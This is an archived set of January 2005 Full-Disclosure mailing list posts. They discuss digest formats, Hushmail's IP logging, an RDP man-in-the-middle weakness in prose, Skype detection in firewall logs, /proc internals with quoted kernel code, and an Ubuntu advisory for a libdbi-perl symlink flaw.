Message-ID: <41F6C775.11225.4766189E@localhost>

Etaoin Shrdlu to Brian Anderson:

<<snip>>
> > I have previously messaged the List-Owner regarding adding this 
> > however he suggested I ask the list so here I am.
> >
> > Do you believe that this is "good idea" and should be implemented?
> 
> It is not at all a good idea.  ...

Au contraire...

> ...  I don't read the list in a digest, ...

In which case the issue Brian was asking about is moot!

> ... and 
> can't see why I should Might I suggest either using a gmail account to 
> subscribe, or channeling it in as a newsgroup (ala Usenet), which will 
> allow you to have what you want, and not inconvenience the rest of us.
> 
> Anything not plaintext just doesn't belong on a security mailing list.

As I pointed out in another message, Mailman is supposed to support the 
MIME multipart/digest content type as a user-selectable option _AFTER_ 
they have chosen the digest option.  If this option were made available 
by the list admins _AND_ Brian chose it,, it would not affect your 
copies of the list mail at all.  


Regards,

Nick FitzGerald



From temp739 at yahoo.com  Tue Jan 25 10:12:38 2005
From: temp739 at yahoo.com (Pseudo Nym)
Date: Tue, 25 Jan 2005 02:12:38 -0800 (PST)
Subject: [Full-Disclosure] hushmail.com, is this true?
Message-ID: <20050125101238.48181.qmail@web61201.mail.yahoo.com>

I'm interested in finding if there is any truth behind
these claims at hushmail.com.  Can anyone tell of
their experiences with hushmail or give them a review?
 Does anyone know of a different service that claims
not to log IPs?

>From the Hushmail Technical FAQ:
Is there any way the recipient of a Hush message knows
the IP number I am sending from?
No.
Does Hush track IP addresses of visitors or address
holders?
Hushmail.com does log IP addresses to analyze market
trends and gather broad demographic information for
aggregate use. However, Hushmail.com will never log
your IP address in such a way that it can be
associated with your Hushmail email address or
identity. The procedure does NOT affect the anonymity
of the user at any stage.

Any information would be greatly appreciated.


	
		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - You care about security. So do we. 
http://promotions.yahoo.com/new_mail


From andfarm at teknovis.com  Tue Jan 25 10:13:17 2005
From: andfarm at teknovis.com (Andrew Farmer)
Date: Tue, 25 Jan 2005 02:13:17 -0800
Subject: [Full-Disclosure] Can we have...
In-Reply-To: <41F5CCA2.7070608@deaddrop.org>
References: <41F5C1E3.7060508@ecu.edu.au> <41F5CCA2.7070608@deaddrop.org>
Message-ID: <BB456610-6EB9-11D9-B41D-000D93C0F38C@teknovis.com>

On 24 Jan 2005, at 20:35, Etaoin Shrdlu wrote:
> Anything not plaintext just doesn't belong on a security mailing list.

This has nothing to do with plaintext messages. multipart/mixed is 
still plain text - just with headers separating sections.

Myself? I don't use digests myself, but I see no reason not to allow 
readers to use multipart/mixed digests.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/c8242026/attachment.bin 

From stfunub at gmail.com  Tue Jan 25 10:54:09 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Tue, 25 Jan 2005 10:54:09 +0000
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <20050125101238.48181.qmail@web61201.mail.yahoo.com>
References: <20050125101238.48181.qmail@web61201.mail.yahoo.com>
Message-ID: <33713abc05012502543c54d4ef@mail.gmail.com>

To me this suggests that, unlike most web based e-mail providers such
as hotmail, hushmail does not send the user's I.P address in the
headers of the e-mail address, but hushmail still logs IP addresses.


From larry at larryseltzer.com  Tue Jan 25 11:26:42 2005
From: larry at larryseltzer.com (Larry Seltzer)
Date: Tue, 25 Jan 2005 06:26:42 -0500
Subject: [Full-Disclosure] Re:  Terminal Server vulnerabilities
In-Reply-To: <1106637530.1948.304.camel@meposs>
Message-ID: <g8pcdbo35bz56ba.250120050626@shayndel>

>>> [MS] claim there are no 
>>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 
>>> Service Pack 4.
>>> 
>>> I find that hard to believe and I know you guys will know if they
are 
>>> full of it, or they are correct. Please let me know ASAP of any 
>>> CURRENT vulnerabilities int Terminal Server. 

>>Try here for starters:
>>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s
ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8
>>(2,310 results)

Just as I figured. Based only on the first 25 or so, all of the real
exploits discussed are patched and the vast majority of them apply to
Windows NT 4.0 Terminal Server. The original poster asked about
"CURRENT" vulnerabilities.

The one remaining issue I remembered is on this page
(http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro
soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good
collection of vulnerabilities in general. It is a man-in-the-middle
attack that could allow an attacker, using a collection of techniques
including IP spoofing, to recover the original plaintext session. RDP,
the Terminal Server protocol, is encrypted by default. The worst thing
you have to do to work around this is to use a VPN, but considering what
they would recover is RDP data (mouse moves, key clicks, GDI elements,
etc.) I consider this a relatively high-overhead attack. 

Your Windows Terminal Server is much more likely to be vulnernerable to
a problem in Windows than one specifically in Terminal Server, which has
a very good security history. 

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 




From alain at ait.ac.th  Tue Jan 25 12:04:29 2005
From: alain at ait.ac.th (Alain Fauconnet)
Date: Tue, 25 Jan 2005 19:04:29 +0700
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050125080505.9D8A625C013@mail.nettracers.com>
References: <20050125030523.GC16639@ait.ac.th>
	<20050125080505.9D8A625C013@mail.nettracers.com>
Message-ID: <20050125120429.GE23798@ait.ac.th>

Bryan,

Thanks for your input.

On Tue, Jan 25, 2005 at 12:04:45AM -0800, lists-security at nettracers.com wrote:
> Full-Disclosure aspect: knowing the capabilities and limitations of the
> various firewalls employed.  How policies can be violated without detection.
> Vendors and open-source community need to push to solve these real world
> problems.
> 
> >...but the real question is: can they detect SkyPE specifically? 
> 
> This is from a Fortigate with factory release NIDS, AV and IPS databases -
> nothing custom - (someone with a checkpoint and others may pipe in here with
> their capabilities):
> 
> On Status page:
> Recent Intrusion Detections
> Time 	Src/Dst 	Service 	Attack Name
> 2005-01-24 22:35:16	10.0.0.12 206.14.209.40  http	skype
> 
> Skype In Alert Log:
> 2005-01-24 22:35:16 log_id=1421051110 type=ips subtype=signature pri=alert
> vd=root attack_id=109051909 src=10.0.0.12 dst=206.14.209.40 src_port=3743
> dst_port=80 src_int=port1 dst_int=port2 status=detected proto=6 service=http
> msg="p2p: skype,[Reference: http://www.fortinet.com/ids/ID109051909]"
> 

I think that this may trigger on the regular HTTP request that SkyPE
does at start up (and only then). This checks the SkyPE web site for
updates. This is also what the available Snort signature trigger on,
simply because it's the only kind of traffic that has a recognizable
signature.
How many hits do you have for a given client IP on this rule? If it's
really triggering on VoIP traffic, you should get many per second.

> I am not blocking skype traffic or the kazaa traffic that is detected, but
> use this info to quantify the use of the network and to throttle bandwidth
> if needed to maintain QOS for business-critical functions.

If that's just the version check traffic (and my gut feeling is that
it is, considering the data you've shown), this is *not* the kind of
SkyPE traffic you'd want to classify, and your QoS probably doesn't do
what you think it does (unless it shapes all traffic to/from that
client's IP)... What do you think?

[rest deleted - amen to all of this... including the pathetic "security
advice" of the SkyPE folks]

Greets,
_Alain_


From temp739 at yahoo.com  Tue Jan 25 13:24:46 2005
From: temp739 at yahoo.com (Pseudo Nym)
Date: Tue, 25 Jan 2005 05:24:46 -0800 (PST)
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <33713abc05012502543c54d4ef@mail.gmail.com>
Message-ID: <20050125132447.64564.qmail@web61203.mail.yahoo.com>

I was asking for anyone with evidence or experience
dealing with hushmail.  You seem to have neither.

Can anyone verify hushmail's claims or provide some
recounting of events that would seem to bolster their
claims?

Thank you.


--- Andrew Smith <stfunub at gmail.com> wrote:

> To me this suggests that, unlike most web based
> e-mail providers such
> as hotmail, hushmail does not send the user's I.P
> address in the
> headers of the e-mail address, but hushmail still
> logs IP addresses.
> 



		
__________________________________ 
Do you Yahoo!? 
Yahoo! Mail - Helps protect you from nasty viruses. 
http://promotions.yahoo.com/new_mail


From atte.peltomaki at f-secure.com  Tue Jan 25 15:46:26 2005
From: atte.peltomaki at f-secure.com (Atte Peltomaki)
Date: Tue, 25 Jan 2005 17:46:26 +0200
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com>
References: <33713abc05012502543c54d4ef@mail.gmail.com>
	<20050125132447.64564.qmail@web61203.mail.yahoo.com>
Message-ID: <20050125154626.GA13732@localhost.localdomain>

> I was asking for anyone with evidence or experience
> dealing with hushmail.  You seem to have neither.
> 
> Can anyone verify hushmail's claims or provide some
> recounting of events that would seem to bolster their
> claims?
> 
> --- Andrew Smith <stfunub at gmail.com> wrote:
> 
> > To me this suggests that, unlike most web based
> > e-mail providers such
> > as hotmail, hushmail does not send the user's I.P
> > address in the
> > headers of the e-mail address, but hushmail still
> > logs IP addresses.

What seems to be the problem to cause this great distress? It has been
concluded that hushmail.com does not include sender's IP address in the
mail headers. Register an account and send a mail to yourself to find
out, or are you asking us to do it for you?

-- 
 ____________
 \   ______//     Atte Peltom?ki - Atte.Peltomaki at F-Secure.com
  \  \\____           	 IT Engineer - IT Server Team
   \   __//    F-Secure Corp. PL 24, FIN-00181 Helsinki, Finland
    \  \\     Tel: +358 9 2520 0700,     direct: +358 9 2520 5423   
     \ //                   http://www.F-Secure.com
      \/         Integrated Solutions for Enterprise Security



From Valdis.Kletnieks at vt.edu  Tue Jan 25 16:19:52 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 11:19:52 -0500
Subject: [Full-Disclosure] Mirroring procfs. 
In-Reply-To: Your message of "Tue, 25 Jan 2005 08:58:39 GMT."
	<20050125085839.2912.qmail@webmail31.rediffmail.com> 
References: <20050125085839.2912.qmail@webmail31.rediffmail.com>
Message-ID: <200501251619.j0PGJqvx013025@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 08:58:39 GMT, preeth k said:

> I work on Redhat Linux and we want to know if there is any method to mirror
> the '/proc' filesystem on one machine-A to another machine-B so as to monitor
> all the events occuring in A using machine-B

The problem is that even if you *could* mirror /proc in any sensible way,
that would not actually monitor "all the events".  If you look closely at
the source code for the 'procfs' file system (see the code in fs/proc/*.c),
you'd realize that /proc entries are created *on the fly*.  There's not really
anything *in* that file system - it all gets created "on the fly" as you
reference it.  Sure, /proc/$$/cwd *looks* like a symlink to your current working
directory, but look how it's actually implemented (looking at a 2.6.11-rc2-mm1
kernel here, your code may differ):

static int proc_cwd_link(struct inode *inode, struct dentry **dentry, struct vfsmount **mnt)
{
        struct fs_struct *fs;
        int result = -ENOENT;
        task_lock(proc_task(inode));
        fs = proc_task(inode)->fs;
        if(fs)
                atomic_inc(&fs->count);
        task_unlock(proc_task(inode));
        if (fs) {
                read_lock(&fs->lock);
                *mnt = mntget(fs->pwdmnt);
                *dentry = dget(fs->pwd);
                read_unlock(&fs->lock);
                result = 0;
                put_fs_struct(fs);
        }
        return result;
}

The magic here is "*dentry = dget(fs->pwd);" - basically, they just create a clone
of a reference to the process's working directory and return it.

Similarly, the list of directories /proc/NNN for each process ID NNN is generated
on the fly by walking the process table.  So if a process fork()s to create a new
PID, it does *NOT* create a /proc entry *unless somebody actually looks for it*.
If you fork and create process 994, and then it exits before anybody looks in /proc
for it, /proc/994 *never actually happens*.

What you *really* need to mirror to machine-b is enough information of the kernel's
internal state (fork/exec/open/and all the rest), so that your monitor on B is able
to track what's going on...

What "events" were you hoping to monitor, and why?  Understanding that would
help a lot in pointing you in a useful direction....

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1bb86a7a/attachment.bin 

From shrdlu at deaddrop.org  Tue Jan 25 16:54:20 2005
From: shrdlu at deaddrop.org (Etaoin Shrdlu)
Date: Tue, 25 Jan 2005 08:54:20 -0800
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com>
References: <20050125132447.64564.qmail@web61203.mail.yahoo.com>
Message-ID: <41F679BC.1040803@deaddrop.org>

Pseudo Nym wrote:

>I was asking for anyone with evidence or experience
>dealing with hushmail.  You seem to have neither.
>  
>

Well, at least he had the courtesy to reply to you. But read on, MacDuff.

>Can anyone verify hushmail's claims or provide some
>recounting of events that would seem to bolster their
>claims?
>
>Thank you.
>
>
>--- Andrew Smith <stfunub at gmail.com> wrote:
>
>  
>
>>To me this suggests that, unlike most web based
>>e-mail providers such
>>as hotmail, hushmail does not send the user's I.P
>>address in the
>>headers of the e-mail address, but hushmail still
>>logs IP addresses.
>>

Well, that would certainly be true, unlike the Yahoo account you just 
posted from. I could be incredibly entertaining by posting the results 
of *that*, but I won't waste the bandwidth. If you are looking for 
protection due to political oppression, use an anonymous remailer. If 
you're not planning on using your hushmail account to break the law in a 
big way, what on earth are you concerned about? They are quite clear in 
what they do and don't log; I know some of the people who work (or 
worked) there. They are all quite honorable.

What are you trying to imply? What is your concern?

-- 
"Remember you told me to tell you when you were acting rudely and
insensitively? Remember that? You're doing it right now."
                 from Wargames



From martin.pitt at canonical.com  Tue Jan 25 16:45:27 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Tue, 25 Jan 2005 17:45:27 +0100
Subject: [Full-Disclosure] [USN-70-1] Perl DBI module vulnerability
Message-ID: <20050125164526.GA30776@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-70-1		   January 25, 2005
libdbi-perl vulnerabilities
CAN-2005-0077
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libdbi-perl

The problem can be corrected by upgrading the affected package to
version 1.42-3ubuntu0.1.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Javier Fern?ndez-Sanguino Pe?a from the Debian Security Audit Project
discovered that the module DBI::ProxyServer in Perl's DBI library
created a PID file in an insecure manner. This could allow a symbolic
link attack to create or overwrite arbitrary files with the privileges
of the user invoking a program using this module (like 'dbiproxy').

Now the module does not create a such a PID file by default.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1.diff.gz
      Size/MD5:    13840 0ea63225d70126bd2492516466a2209d
    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1.dsc
      Size/MD5:      608 f6a5286d0a38572cd3ff944669ecf457
    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42.orig.tar.gz
      Size/MD5:   348167 ca8c8a1a4797d98121b41c1d0a5b3b7c

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_amd64.deb
      Size/MD5:   575324 487ed69858f7a4d6b0bc4810ea9b99ec

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_i386.deb
      Size/MD5:   573900 eb99ce7af5c6c89bdc969210107807ae

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/libd/libdbi-perl/libdbi-perl_1.42-3ubuntu0.1_powerpc.deb
      Size/MD5:   577426 58c6f55a93ba0081a0737d16449a0dc8
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/1bf8e242/attachment.bin 

From Mark.Senior at gov.ab.ca  Tue Jan 25 16:59:39 2005
From: Mark.Senior at gov.ab.ca (Mark Senior)
Date: Tue, 25 Jan 2005 09:59:39 -0700
Subject: [Full-Disclosure] Re:  Terminal Server vulnerabilities
Message-ID: <490D41B02BCAA943BC58CD5D31797B13011C2466@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca>

Terminal Server encrypts its traffic, yes, but it doesn't do any
verification of what server it's connecting to.  This is equivalent to
SSL with anonymous DH key agreement - you know no eavesdroppers can
listen in, but you have no idea who you're talking to.

So a MiTM attack is possible, there is no difficulty decrypting the
traffic - you just make the entire session terminate at the attacking
end, and make a new session to the real server.  Yes, most of the
keypresses would be uninteresting information, but there are a few right
at the start, typically between a TAB and an ENTER, that might be of
some interest...

The annoying thing is, the server does actually have a persistent key,
which the client could verify from one connection to the next - it just
doesn't; it throws the key away after the connection is established.
It's not unfixable; fixing it wouldn't even break the existing protocol.
The client would just have to behave like an ssh client, and check its
known keys.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Larry
Seltzer
Sent: January 25, 2005 04:27
To: 'Daniel H. Renner'; full-disclosure at lists.netsys.com
Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities

>>> [MS] claim there are no
>>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 
>>> Service Pack 4.
>>> 
>>> I find that hard to believe and I know you guys will know if they
are 
>>> full of it, or they are correct. Please let me know ASAP of any 
>>> CURRENT vulnerabilities int Terminal Server.

>>Try here for starters:
>>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s
ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8
>>(2,310 results)

Just as I figured. Based only on the first 25 or so, all of the real
exploits discussed are patched and the vast majority of them apply to
Windows NT 4.0 Terminal Server. The original poster asked about
"CURRENT" vulnerabilities.

The one remaining issue I remembered is on this page
(http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro
soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good
collection of vulnerabilities in general. It is a man-in-the-middle
attack that could allow an attacker, using a collection of techniques
including IP spoofing, to recover the original plaintext session. RDP,
the Terminal Server protocol, is encrypted by default. The worst thing
you have to do to work around this is to use a VPN, but considering what
they would recover is RDP data (mouse moves, key clicks, GDI elements,
etc.) I consider this a relatively high-overhead attack. 

Your Windows Terminal Server is much more likely to be vulnernerable to
a problem in Windows than one specifically in Terminal Server, which has
a very good security history. 

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail.




From larry at larryseltzer.com  Tue Jan 25 17:12:10 2005
From: larry at larryseltzer.com (Larry Seltzer)
Date: Tue, 25 Jan 2005 12:12:10 -0500
Subject: [Full-Disclosure] Re:  Terminal Server vulnerabilities
In-Reply-To: <490D41B02BCAA943BC58CD5D31797B13011C2466@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca>
Message-ID: <s625ij21f4gmp8t.250120051212@shayndel>

Yeah, fine, so if this bothers you use a VPN. I still it's something
very few people need to worry about.	

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 
-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Mark
Senior
Sent: Tuesday, January 25, 2005 12:00 PM
To: full-disclosure at lists.netsys.com
Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities

Terminal Server encrypts its traffic, yes, but it doesn't do any
verification of what server it's connecting to.  This is equivalent to
SSL with anonymous DH key agreement - you know no eavesdroppers can
listen in, but you have no idea who you're talking to.

So a MiTM attack is possible, there is no difficulty decrypting the
traffic - you just make the entire session terminate at the attacking
end, and make a new session to the real server.  Yes, most of the
keypresses would be uninteresting information, but there are a few right
at the start, typically between a TAB and an ENTER, that might be of
some interest...

The annoying thing is, the server does actually have a persistent key,
which the client could verify from one connection to the next - it just
doesn't; it throws the key away after the connection is established.
It's not unfixable; fixing it wouldn't even break the existing protocol.
The client would just have to behave like an ssh client, and check its
known keys.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Larry
Seltzer
Sent: January 25, 2005 04:27
To: 'Daniel H. Renner'; full-disclosure at lists.netsys.com
Subject: RE: [Full-Disclosure] Re: Terminal Server vulnerabilities

>>> [MS] claim there are no
>>> unfixed vulnerabilities to Terminal Server on Windows Server 2000 
>>> Service Pack 4.
>>> 
>>> I find that hard to believe and I know you guys will know if they
are 
>>> full of it, or they are correct. Please let me know ASAP of any 
>>> CURRENT vulnerabilities int Terminal Server.

>>Try here for starters:
>>http://www.google.com/search?q=%22windows+terminal+server%22+exploit&s
ourceid=mozilla&start=0&start=0&ie=utf-8&oe=utf-8
>>(2,310 results)

Just as I figured. Based only on the first 25 or so, all of the real
exploits discussed are patched and the vast majority of them apply to
Windows NT 4.0 Terminal Server. The original poster asked about
"CURRENT" vulnerabilities.

The one remaining issue I remembered is on this page
(http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=Micro
soft_Terminal_Server.html&fact_color=doc&tag=), which is also a good
collection of vulnerabilities in general. It is a man-in-the-middle
attack that could allow an attacker, using a collection of techniques
including IP spoofing, to recover the original plaintext session. RDP,
the Terminal Server protocol, is encrypted by default. The worst thing
you have to do to work around this is to use a VPN, but considering what
they would recover is RDP data (mouse moves, key clicks, GDI elements,
etc.) I consider this a relatively high-overhead attack. 

Your Windows Terminal Server is much more likely to be vulnernerable to
a problem in Windows than one specifically in Terminal Server, which has
a very good security history. 

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.ziffdavis.com/seltzer
larryseltzer at ziffdavis.com 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they are
addressed. If you have received this email in error please notify the
system manager. This message contains confidential information and is
intended only for the individual named. If you are not the named
addressee you should not disseminate, distribute or copy this e-mail.


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From javapro13 at mac.com  Tue Jan 25 17:15:34 2005
From: javapro13 at mac.com (Kartik Trivedi)
Date: Tue, 25 Jan 2005 09:15:34 -0800
Subject: [Full-Disclosure] OWASP LA chapter meeting
In-Reply-To: <20050125164526.GA30776@box79162.elkhouse.de>
References: <20050125164526.GA30776@box79162.elkhouse.de>
Message-ID: <155255.1106673334057.JavaMail.javapro13@mac.com>




From javapro13 at mac.com  Tue Jan 25 17:17:49 2005
From: javapro13 at mac.com (Kartik Trivedi)
Date: Tue, 25 Jan 2005 09:17:49 -0800
Subject: [Full-Disclosure] OWASP LA chapter meeting
Message-ID: <14316496.1106673469862.JavaMail.javapro13@mac.com>

Please join us for first free OWASP LA/OC chapter meeting.

Theme: (Web) Application Security

Date / Time: 
Friday, Feb 18, 2004 / 6.00 PM to 8.00 PM

Venue
Foundstone, Inc
27201, Puerta Real, #400
Mission Viejo, CA 92691

Agenda
6.00 - 6.30 Arrival and chit-chat
6.30 - 6.50 Presentation 1 (20 minutes)
6.55 - 7.15 Presentation 2 (20 minutes)
7.20 - 7.50 Presentation 3 (20 minutes)
7.50 - 8.00 Wrap-up 

If you would like to make a presentation, post your ideas to mailing list  http://lists.sourceforge.net/lists/listinfo/owasp-losangeles or contact me

Credits
OWASP Meetings count towards CISSP CPE Credits. 

RSVP
Please RSVP Kartik.trivedi at owasp.org (even if you are only thinking of going) so I can get an idea of numbers.

More coming?& looking forward to see you all there

Thanks

...
Kartik Trivedi



From Bart.Lansing at kohls.com  Tue Jan 25 17:22:25 2005
From: Bart.Lansing at kohls.com (Bart.Lansing at kohls.com)
Date: Tue, 25 Jan 2005 11:22:25 -0600
Subject: [Full-Disclosure] hushmail.com, is this true?
In-Reply-To: <20050125132447.64564.qmail@web61203.mail.yahoo.com>
Message-ID: <OF7A2D6EF8.CD1C8BB1-ON86256F94.005F4217-86256F94.005F6F8F@kohls.com>


How hard is it to verify this yourself by, as has been suggested 
elsewhere, signing up and sending yourself an email?  Not to overly harsh 
your mellow, but the solution to getting this information is not exactly 
ocket science...

Bart Lansing
Manager, Desktop Services/Lotus Notes
Kohl's IT


full-disclosure-bounces at lists.netsys.com wrote on 01/25/2005 07:24:46 AM:

> I was asking for anyone with evidence or experience
> dealing with hushmail.  You seem to have neither.
> 
> Can anyone verify hushmail's claims or provide some
> recounting of events that would seem to bolster their
> claims?
> 
> Thank you.
> 
> 
> --- Andrew Smith <stfunub at gmail.com> wrote:
> 
> > To me this suggests that, unlike most web based
> > e-mail providers such
> > as hotmail, hushmail does not send the user's I.P
> > address in the
> > headers of the e-mail address, but hushmail still
> > logs IP addresses.
> > 
> 
> 
> 
> 
> __________________________________ 
> Do you Yahoo!? 
> Yahoo! Mail - Helps protect you from nasty viruses. 
> http://promotions.yahoo.com/new_mail
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


CONFIDENTIALITY NOTICE: 
This is a transmission from Kohl's Department Stores, Inc.
and may contain information which is confidential and proprietary.
If you are not the addressee, any disclosure, copying or distribution or use of the contents of this message is expressly prohibited.
If you have received this transmission in error, please destroy it and notify us immediately at 262-703-7000.

CAUTION:
Internet and e-mail communications are Kohl's property and Kohl's reserves the right to retrieve and read any message created, sent and received.  Kohl's reserves the right to monitor messages by authorized Kohl's Associates at any time
without any further consent.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/346f5c02/attachment.html 

From Valdis.Kletnieks at vt.edu  Tue Jan 25 17:31:54 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 12:31:54 -0500
Subject: [Full-Disclosure] Re: Terminal Server vulnerabilities 
In-Reply-To: Your message of "Tue, 25 Jan 2005 12:12:10 EST."
	<s625ij21f4gmp8t.250120051212@shayndel> 
References: <s625ij21f4gmp8t.250120051212@shayndel>
Message-ID: <200501251731.j0PHVs7K029376@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 12:12:10 EST, Larry Seltzer said:
> Yeah, fine, so if this bothers you use a VPN. I still it's something
> very few people need to worry about.	

More correctly, the vast majority of sites are so screwed security-wise that
they'll never have the opportunity to see a MITM attack against Terminal Server,
as they're going to get 0wned via much easier attacks.....
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/bd88c675/attachment.bin 

From Valdis.Kletnieks at vt.edu  Tue Jan 25 17:47:42 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 25 Jan 2005 12:47:42 -0500
Subject: [Full-Disclosure] hushmail.com, is this true? 
In-Reply-To: Your message of "Tue, 25 Jan 2005 11:22:25 CST."
	<OF7A2D6EF8.CD1C8BB1-ON86256F94.005F4217-86256F94.005F6F8F@kohls.com> 
References: <OF7A2D6EF8.CD1C8BB1-ON86256F94.005F4217-86256F94.005F6F8F@kohls.com>
Message-ID: <200501251747.j0PHlgen017129@turing-police.cc.vt.edu>

On Tue, 25 Jan 2005 11:22:25 CST, Bart.Lansing at kohls.com said:

> How hard is it to verify this yourself by, as has been suggested 
> elsewhere, signing up and sending yourself an email?  Not to overly harsh 
> your mellow, but the solution to getting this information is not exactly 
> ocket science...

Figuring out what correlating information is in the headers of the mail isn't
rocket science.

Figuring out what correlating information is left in the various logfiles on
the hushmail servers *is* rocket science for those who aren't hushmail staff.

In fact, I'm fairly sure that "hushmail tells you what is in their logfiles" is
the only legal way to do it (of course, getting them to tell you will likely
require the use of a subpoena or other legalistic blunt weapon...)
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050125/06ffe94e/attachment.bin 

From lists-security at nettracers.com  Tue Jan 25 18:05:42 2005
From: lists-security at nettracers.com (lists-security at nettracers.com)
Date: Tue, 25 Jan 2005 10:05:42 -0800
Subject: [Full-Disclosure] blocking SkyPE?
In-Reply-To: <20050125120429.GE23798@ait.ac.th>
Message-ID: <20050125180602.ACF0025C00B@mail.nettracers.com>

 
>I think that this may trigger on the regular HTTP request that SkyPE does
at
>start up (and only then). This checks the SkyPE web site for updates. This
is 
>also what the available Snort signature trigger on, simply because it's the
only >kind of traffic that has a recognizable signature.
>How many hits do you have for a given client IP on this rule? If it's
really 
>triggering on VoIP traffic, you should get many per second.

I am getting 3-10 hits per second for any active system running this,
example:

91 	detected 	09:06:35 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
92 	detected 	09:06:29 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
93 	detected 	09:06:13 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
94 	detected 	09:06:06 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
95 	detected 	09:04:11 	p2p: skype,aggregated 3
times,[Reference: http://www.fortinet.com/ids/ID109051909] 	80 	4048
6
96 	detected 	09:04:05 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	4048 	80 	6
97 	detected 	09:03:36 	p2p: skype,[Reference:
http://www.fortinet.com/ids/ID109051909] 	80 	4048 	6
